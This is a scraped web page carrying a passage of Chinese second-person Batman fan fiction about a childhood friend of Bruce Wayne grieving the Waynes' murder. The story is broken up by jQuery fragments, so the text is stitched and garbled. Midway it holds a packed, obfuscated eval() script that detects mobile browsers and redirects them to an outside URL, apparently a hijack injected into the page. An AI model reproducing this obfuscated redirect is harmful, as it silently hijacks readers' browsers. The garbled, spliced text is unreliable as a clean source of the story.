$(''.inform'').remove(); $(''#content'').append('' 到了草地上就像是一匹失去约束的小马驹，跑得比在学校操场还要快。 但谁说追人一定要追到人呢，就不能让人反过来追自己吗？ “布鲁斯，呼、你看我手上这是什么！” 你气喘吁吁地站定，高高举起你的小拳头。 “拳头？” 布鲁斯停下，回头，不明就里地盯着你的手。 “不，是我给你准备的礼物。”你自信勾唇，“不过只有你抓到了我我才会给你。” “你一定是在骗我。”布鲁斯非常谨慎，停在原地没有动作，与你隔着几米，没有贸然相信你，但这会难倒你吗？你的演技可是得到过伊桑认证的。 “你知道的，我从不骗你。” 你观察着布鲁斯的动作，等待着他的行动。要是他相信了，你就等他抓你的时候把他撂倒，要是他不相信，你就坐在地上装跑不动了，等他来找你的时候你就一把将他抓住。 布鲁斯会怎么选呢？ 你垂着眼眸，握拳等待着。 动了、布鲁斯动了！布鲁斯朝着你的方向来了！ 你顺着他的动作假意逃跑，却在布鲁斯和你距离足够近的时候反而朝着他撞过去。 一阵天旋地转。 泥土，草木，跑得发热的身体。 你们两个一起在草坪上滚了三圈才停下，布鲁斯抓着你，你抓着布鲁斯。 “I''ve got you, Endy.（我抓住你了，恩迪）” “No, I''ve got you. I win, Bruce.（不，是我抓住你了。我赢了，布鲁斯。）” …… 很快，你就得到了报应。 晚上的时候，布鲁斯将你耍赖的事情说给了玛莎听。 “妈妈，你说恩迪是不是很坏？” “玛莎阿姨，我没有骗人，虽然我确实使用了一些小手段，但是我没有说谎！我给你了那份礼物！” “你就只给我一颗石头吗？” “那可是珍珠！纯天然的珍珠！” 刚刚回家的玛莎用看两只叽叽喳喳的小动物的表情看着你们，却并不打算评评理，她只是拿着手帕，给你们两个一一擦脸。 “好了，两只小花猫，看在我的面子上先停战怎么样？” 布鲁斯接受得坦然，你就有点不好意思，但还是别别扭扭地接受了。 玛莎·韦恩是一位气质出众的贵妇人，深棕色长卷发与蓝色的眼睛十分迷人，举手投足都透露着淑女的优雅，但有布鲁斯在场的话，她又会展现出母亲的柔软与坚韧。 “这个年龄的孩子正是喜欢活蹦乱跳的时间，活泼是他们的天性。”托马斯·韦恩，布鲁斯的父亲，一位长相俊朗的绅士，拥有着和布鲁斯一样的黑发蓝眼。他既是一名医生，也是家族的掌权者，身上的气势让你有点害怕，主要是害怕他那部分医生的气势。好在有布鲁斯在的时候他会更像一位父亲，一位有些宠溺孩子的父亲。 他总是会带着礼物回来，甚至还有给你准备的一份。 就像这次。 “来吧，孩子们，礼物时间！” 托马斯给你们一人递了一个礼物，你和布鲁斯拆开，各自得到了一个帅气又精美的汽车模型。 “哇！！！” 你们捧着模型爱不释手。 见到你们如此开心的模样，玛莎和托马斯也笑得很开心。 …… 时间就这样一天一天地美好又幸福地流逝着，你和布鲁斯非常黏糊，既是搭档、同伴，还是朋友、兄弟。你们一起上学，一起放学到对方家里玩，偶尔还会在对方家里过夜，睡在同一张床上讲述天马行空的故事。 你们为对方家长所熟知、了解、疼爱，不知不觉，竟然也拉近了韦恩家族与格雷家族的联系，有过一两次两家人一同出行。 春天，出游。 夏天，避暑。 秋天，闲行。 冬天，取暖。 你们都在一起，寒暑假也在一起。 这是你们认识的第二年，是你们人生的三分之一。 你想不到你们有什么会分别的理由，正如同你想不到哥谭的阴影已经按捺不住。 人生的意外就像断开的珍珠项链。 碎作大滴、大滴的眼泪。 5. 生命薄如蝉翼 你并不知道什么叫死亡。 直到死亡的阴影笼罩而下。 8岁，你的朋友布鲁斯失去了双亲。 玛莎·韦恩和托马斯·韦恩死了，死在了阴暗的小巷里，死于枪击。 人类的身体是如此脆弱，脆弱得能被10g的弹头贯穿胸膛，哪怕曾是一掷千金的富豪、德高望重的医生、不可多得的好人，都一样。 脆弱。 脆弱得像被鹰抓断脖子的兔子，被蜘蛛网捕捉的蝴蝶，被手指捏死的蚂蚁。 毫无预兆、轻飘飘地就死了。 因为死的是大人物，哥谭一下子便沸腾了起来，这条被插上了翅膀的消息在一天内就传遍了大街小巷。哥谭警方一方面要搜查杀害韦恩夫妇的凶手，另一方面要应对惶惶不安的民心。 连首富都会被如此轻易地枪杀，更何况是我们这些平民？ 连首富都能如此容易地被枪杀，为什么我们不去试一试？ 于是，哥谭本就不低的犯罪率有了进一步提升，警察更加忙碌，却分身乏术，陷入了一种诡异的恶性循环。 但你并不关心这些。 你只关心你的朋友布鲁斯。 你记得上次见面他和你笑着和你说玛莎和托马斯要带他去看他最喜欢的经典电影《佐罗》，他还说他会给你也带一个佐罗周边，让你好好见识一下佐罗的魅力。 但第二天，你只听到了玛莎和托马斯的死讯。 在那之后，哥谭一连下了好几天的大雨，直到第五天，迎来了玛莎和托马斯的葬礼。 虽然没有继续下雨，但哥谭的天气阴郁而沉闷，让人觉得被扼住了喉咙，无法出气。天空灰蒙蒙的，于是那一切明亮而鲜活的事物都像是蒙上了一层擦拭不去的灰尘。教堂里开了白炽灯，白炽灯下，是黑压压的人群。 穿着黑色正装的你看向你的朋友，布鲁斯·韦恩。 葬礼上，这位活泼开朗的韦恩少爷像是失去了他的颜色，蓝色的眼睛也黯淡下来，虽然憔悴，却依旧穿着整洁。他没有哭，没有闹，声音平静地在阿尔弗雷德的带领下主持自己父母的追悼会。 台上的人就着自己与韦恩夫妇的经历侃侃而谈，赞美他们的成就与仁爱之心，表达对他们不幸遇难的遗憾和惋惜，在台下轻声议论韦恩独子未来的命运、韦恩家族未来的变动。 你听不进去，你觉得他们好吵。 你不想听。 你不想听玛莎和托马斯死亡的事实。你不想听他们对于布鲁斯，对于韦恩夫妇，对阿尔弗雷德，甚至是你的家族的揣测，那像是一个漩涡，让你头痛欲裂。 带布鲁斯离开。 你想带着布鲁斯离开。 离开这个被聚光灯笼罩的舞台，离开那些令人不快的议论，离开这里。 离开玛莎和托马斯的尸体。 你感觉布鲁斯正在被某种灰白的东西侵蚀。 一同被侵蚀的还有你对玛莎和托马斯的回忆。 他们长什么样子？他们的声音是怎样的？他们的味道是怎样的？ 但是你没有这样做。可能是因为某种世俗规矩，或者说规则约束着你，让你不要做这样失礼的事情。也可能是因为这四天来布鲁斯的抗拒和悲伤。 你去找了他，而他不想看见你。他不想看到所有人，他把自己锁在房间里。 所以现在远远地看着布鲁斯，你就只是哭。 你什么都没能为他做到，甚至不能上去为他分担一点。 见你难过，你的母亲克莱尔安慰你，你的父亲伊桑拥抱着你，拍打着你的后背。 “没事的，小恩迪，爸爸妈妈不会离开你的……” 但布鲁斯的父母再也不会安慰他，拥抱他……你哭得更厉害了，却又在极力抑制自己的声音，不让自己过于失态。 你不记得葬礼是怎样结束的，只记得下葬后布鲁斯就站在属于他父母的墓碑前。 他好像瘦了一点，又好像高了一点。 他的样子好模糊，一点都不像过往那样清晰，以至于你不敢像往日那样贸然上前。 他像是一只奄奄一息的蚂蚁，蝴蝶，兔子。 或许此刻的他还没有，但也许下一刻他就会成为了。 你不知道你该说什么，你只是一见到他就哭了。 “布鲁斯……布鲁斯……” 你喊着他的名字，拥抱住他。 你试图握住他的手，发现他的手心和哥谭的天气一样凉。 “对不起……没能为你做点什么，我该怎样才能让你好过一点……呜，布鲁斯……” “我没事的，你回去吧，恩迪。” 布鲁斯阻止了你与他十指相扣，只是没有推开你。 “你有事！你的心很难过，你很痛苦……告诉我该怎么做好吗？怎么样能让你好过一点？” 你任性地请求着布鲁斯，希望他能告诉你一条捷径。只要他告诉你方法，那么你就会发疯地为他做到，只要这样能让他好过一点。 “……” 布鲁斯没有反驳你，但也没有回应你。 他坚强得像一块石头。 你乞求着他，他却没有力气再说些什么了。 他低着头，任由你将他紧紧抱住，身体发抖。 “恩迪少爷，请您再给布鲁斯少爷一点时间吧，他今天很累了，需要休息。您的父母也在外等候许久了……” 你一直抱着布鲁斯，心里越来越空，直至阿尔弗雷德将你们分开。这位同样有些憔悴的青年轻轻劝慰着，你知道，他同样不好过，所以你也同阿尔弗雷德进行了拥抱。 “谢谢您，阿尔弗雷德先生，请您节哀……布鲁斯，我会再来找你的，你要好好休息，我在学校等着你。” 你想要看清布鲁斯的眼睛，却发现只模糊得能看到他点了点头。 你有一种预感，布鲁斯应该不会再来上学了。 —— 布鲁斯果然没有再来上学，因此，你直接成为断层第一。 但是你并不开心，你总觉得自己的心空落落的，就算会因为吃到了美食而开心，也很难持续。 这比让你当第二还痛苦，你宁愿你总是第二，而不用承受这种心脏又酸又沉还像是有针扎的感觉。 大约又过去了一周，你一个人回到家，但是你没有马上做作业，而是坐在桌子前，思考布鲁斯在做什么。 今天他有好好吃饭吗？他有在继续学习吗？他会打游戏吗？他会哭泣吗？他会微笑吗？ 你想去见布鲁斯，哪怕布鲁斯可能并不想见你。 于是你找了克莱尔，向他询问布鲁斯的情况。“妈妈，你觉得布鲁斯今天好点了吗？” 克莱尔浇花的动作顿了顿，摸了摸你的头，“小恩迪，你知道的，乌云不会离开得那么快。” “那布鲁斯现在在做什么？” “小恩迪，妈妈可没有在布鲁斯家安装监控。” 你有些不满意克莱尔的回答，睁大你蓝色的眼睛和克莱尔对视，发现克莱尔眼中居然藏有笑意，虽然她并没有勾唇，但是她看起来很高兴。 你知道她的，你能分辨出她开心和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17540678|203937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不开心的模样。 是因为你的表情逗乐了她吗？过去确实也经常有这样的情况。但是你现在是在询问布鲁斯的情况，这样的妈妈正常吗？ “……妈妈，你很高兴吗？是有什么好事吗？” “这个啊，因为妈妈最近的研究成果有了很大突破，很快就能赚更多钱带我们小恩迪出门玩了啊，妈妈很厉害吧，夸夸妈妈好吗？” 你是个聪明懂事的孩子，能够理解每个人都拥有自己的情绪，并且你知道，不是每个人都应该和你保持同等的情绪。所以虽然会有那么一点小小的不自在，但是你还是抱了抱克莱尔。 “妈妈很厉害，但是妈妈也要好好休息，不要太辛苦了。” “我们小恩迪是妈妈的小可爱，真懂事。” 克莱尔亲了亲你的脸颊，却没让你陪着她浇完水。 “去做作业吧，很快爸爸妈妈就可以带你出门玩了。” 那可以带上布鲁斯吗？ 你没有问出口，妈妈现在很开心。 你只能回到自己的房间，做完作业，然后和克拉拉一人一狗对视。 伊桑最近在公司很忙只有晚上才会回家，醉醺醺地亲吻你的额头，克莱尔虽然在家，却好像在忙碌于新的植株栽培。 你觉得有点孤独，有点寂寞。 以前不会这样的，以前你会和布鲁斯一直玩耍，直到玩到睡觉时间到来。 但是现在不一样了，布鲁斯不去学校了，你们不再是同桌了。 布鲁斯也不和你联系，你们不再是朋友了。 “克拉拉，我好想布鲁斯，你是不是也想去看布鲁斯？” “汪！” 你最喜欢克拉拉了，克拉拉会配合你，让你为所欲为。 你想让克莱尔送你去布鲁斯的家里，但是你又觉得或许让克莱尔或者伊桑出现都是在提醒布鲁斯他父母离开的事实。 你其实也可以自己去，但是那会有点远，爸爸妈妈说那并不安全，尤其是在现在的哥谭。 当然，这些都不是最关键的问题，最关键的问题是你不知道怎么样面对布鲁斯。 你抱住克拉拉，克拉拉的毛很柔软，很厚重。 克拉拉的眼睛也是蓝色的。 你记得布鲁斯和你说过，金毛狗一般都是棕色眼睛或者深褐色眼睛。 “只有小的时候，金毛狗狗会有蓝眼睛的情况，长大了他们的虹膜黑色素就会发育完全。” “所以说，克拉拉还是只小狗狗？可是克拉拉已经9岁了，它甚至比我还要大。” “嗯，生病了也可能会是蓝色眼睛……不过看克拉拉状态那么好的样子，也不像是生病，那就有可能是因为他不是纯种的金毛犬，有其他狗狗的基因，当然，隐性蓝眼基因也不是没有可能……” 聪明的布鲁斯，博学的布鲁斯，友爱的布鲁斯。 就在身边的布鲁斯。 要是你和布鲁斯是兄弟就好了，那样就能一直和布鲁斯玩了。 你把脸埋到克拉拉的毛里，试图让毛绒绒治愈自己，结果却因为觉得鼻子痒痒的，不得不放开克拉拉别过头打了一个喷嚏。 “bless me.”你摸摸鼻子，保佑了一下自己。 也许真的得到了上帝保佑，你突然有了一个大胆的主意——虽然你恩迪·格雷不方便出现在布鲁斯面前，但没有说蒙面侠不能啊！——刚刚好，你准备了一些制作蒙面面罩的东西！ 布鲁斯喜欢佐罗，那你就去成为布鲁斯的佐罗好了！ 佐罗绝对不会向黑暗势力投降！